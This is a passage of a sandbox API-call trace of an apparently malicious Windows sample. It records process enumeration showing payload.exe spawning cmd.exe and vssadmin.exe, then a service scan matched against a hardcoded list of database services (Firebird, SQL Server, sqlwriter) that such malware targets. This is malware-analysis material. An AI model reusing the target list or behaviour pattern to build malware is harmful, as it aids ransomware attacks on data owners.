th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0076.241] lstrlenW (lpString="attach.exe") returned 10 [0076.241] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0076.242] lstrlenW (lpString="obligations.exe") returned 15 [0076.242] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0076.242] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0076.242] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0076.243] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0076.243] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0076.244] lstrlenW (lpString="taskhost.exe") returned 12 [0076.244] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0076.244] lstrlenW (lpString="payload.exe") returned 11 [0076.245] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0076.245] lstrlenW (lpString="cmd.exe") returned 7 [0076.245] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0076.246] lstrlenW (lpString="conhost.exe") returned 11 [0076.246] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0076.246] lstrlenW (lpString="vssadmin.exe") returned 12 [0076.246] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0076.247] lstrlenW (lpString="VSSVC.exe") returned 9 [0076.247] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.247] lstrlenW (lpString="svchost.exe") returned 11 [0076.247] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0076.248] CloseHandle (hObject=0x1f8) returned 1 [0076.248] Sleep (dwMilliseconds=0x1f4) [0076.989] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x626e88 [0077.003] EnumServicesStatusExW (in: hSCManager=0x626e88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0077.003] GetLastError () returned 0xea [0077.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12c6) returned 0x3f81fa8 [0077.003] EnumServicesStatusExW (in: hSCManager=0x626e88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f81fa8, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f81fa8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0077.004] CloseServiceHandle (hSCObject=0x626e88) returned 1 [0077.004] lstrlenW (lpString="Appinfo") returned 7 [0077.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0077.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0077.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0077.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0077.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0077.004] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0077.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0077.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0077.004] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0077.005] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0077.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0077.005] lstrlenW (lpString="AudioSrv") returned 8 [0077.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0077.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0077.005] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0077.005] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0077.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0077.005] lstrlenW (lpString="BFE") returned 3 [0077.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0077.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0077.005] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0077.005] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0077.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0077.005] lstrlenW (lpString="CryptSvc") returned 8 [0077.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0077.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0077.005] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0077.005] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0077.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0077.005] lstrlenW (lpString="CscService") returned 10 [0077.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0077.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0077.005] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0077.005] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0077.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0077.005] lstrlenW (lpString="DcomLaunch") returned 10 [0077.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0077.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0077.005] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0077.005] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0077.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0077.005] lstrlenW (lpString="Dhcp") returned 4 [0077.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0077.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0077.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0077.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0077.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0077.006] lstrlenW (lpString="Dnscache") returned 8 [0077.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0077.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0077.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0077.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0077.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0077.006] lstrlenW (lpString="DPS") returned 3 [0077.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0077.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0077.006] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0077.006] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0077.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0077.006] lstrlenW (lpString="eventlog") returned 8 [0077.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0077.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0077.006] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0077.006] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0077.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0077.006] lstrlenW (lpString="EventSystem") returned 11 [0077.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0077.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0077.006] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0077.006] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0077.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0077.006] lstrlenW (lpString="gpsvc") returned 5 [0077.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0077.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0077.006] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0077.006] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0077.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0077.007] lstrlenW (lpString="iphlpsvc") returned 8 [0077.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0077.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0077.007] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0077.007] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0077.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0077.007] lstrlenW (lpString="LanmanServer") returned 12 [0077.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0077.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0077.007] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0077.007] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0077.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0077.007] lstrlenW (lpString="LanmanWorkstation") returned 17 [0077.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0077.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0077.007] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0077.007] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0077.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0077.007] lstrlenW (lpString="lmhosts") returned 7 [0077.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0077.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0077.007] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0077.007] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0077.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0077.007] lstrlenW (lpString="MMCSS") returned 5 [0077.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0077.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0077.007] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0077.007] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0077.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0077.007] lstrlenW (lpString="MpsSvc") returned 6 [0077.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0077.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0077.007] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0077.008] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0077.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0077.008] lstrlenW (lpString="Netman") returned 6 [0077.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0077.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0077.008] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0077.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0077.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0077.008] lstrlenW (lpString="netprofm") returned 8 [0077.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0077.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0077.008] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0077.008] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0077.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0077.008] lstrlenW (lpString="NlaSvc") returned 6 [0077.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0077.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0077.008] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0077.008] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0077.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0077.008] lstrlenW (lpString="nsi") returned 3 [0077.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0077.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0077.008] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0077.008] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0077.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0077.008] lstrlenW (lpString="PcaSvc") returned 6 [0077.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0077.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0077.008] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0077.008] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0077.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0077.008] lstrlenW (lpString="PlugPlay") returned 8 [0077.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0077.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0077.009] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0077.009] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0077.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0077.009] lstrlenW (lpString="Power") returned 5 [0077.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0077.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0077.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0077.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0077.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0077.009] lstrlenW (lpString="ProfSvc") returned 7 [0077.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0077.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0077.009] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0077.009] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0077.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0077.009] lstrlenW (lpString="RpcEptMapper") returned 12 [0077.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0077.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0077.009] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0077.009] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0077.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0077.009] lstrlenW (lpString="RpcSs") returned 5 [0077.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0077.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0077.009] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0077.009] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0077.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0077.009] lstrlenW (lpString="SamSs") returned 5 [0077.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0077.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0077.009] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0077.009] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0077.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0077.009] lstrlenW (lpString="Schedule") returned 8 [0077.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0077.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0077.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0077.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0077.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0077.010] lstrlenW (lpString="SENS") returned 4 [0077.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0077.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0077.010] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0077.010] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0077.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0077.010] lstrlenW (lpString="ShellHWDetection") returned 16 [0077.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0077.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0077.010] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0077.010] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0077.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0077.010] lstrlenW (lpString="Spooler") returned 7 [0077.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0077.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0077.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0077.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0077.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0077.010] lstrlenW (lpString="swprv") returned 5 [0077.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0077.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0077.010] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0077.010] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0077.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0077.010] lstrlenW (lpString="SysMain") returned 7 [0077.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0077.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0077.010] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0077.010] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0077.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0077.011] lstrlenW (lpString="Themes") returned 6 [0077.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0077.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0077.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0077.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0077.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0077.011] lstrlenW (lpString="TrkWks") returned 6 [0077.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0077.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0077.011] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0077.011] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0077.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0077.011] lstrlenW (lpString="UxSms") returned 5 [0077.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0077.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0077.011] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0077.011] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0077.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0077.011] lstrlenW (lpString="VSS") returned 3 [0077.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0077.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0077.011] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0077.011] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0077.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0077.011] lstrlenW (lpString="WdiServiceHost") returned 14 [0077.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0077.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0077.011] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0077.011] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0077.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0077.011] lstrlenW (lpString="WdiSystemHost") returned 13 [0077.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0077.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0077.011] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0077.012] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0077.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0077.012] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0077.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0077.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0077.012] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0077.012] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0077.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0077.012] lstrlenW (lpString="Winmgmt") returned 7 [0077.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0077.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0077.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0077.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0077.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0077.012] lstrlenW (lpString="WPDBusEnum") returned 10 [0077.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0077.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0077.012] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0077.012] lstrcmpiW 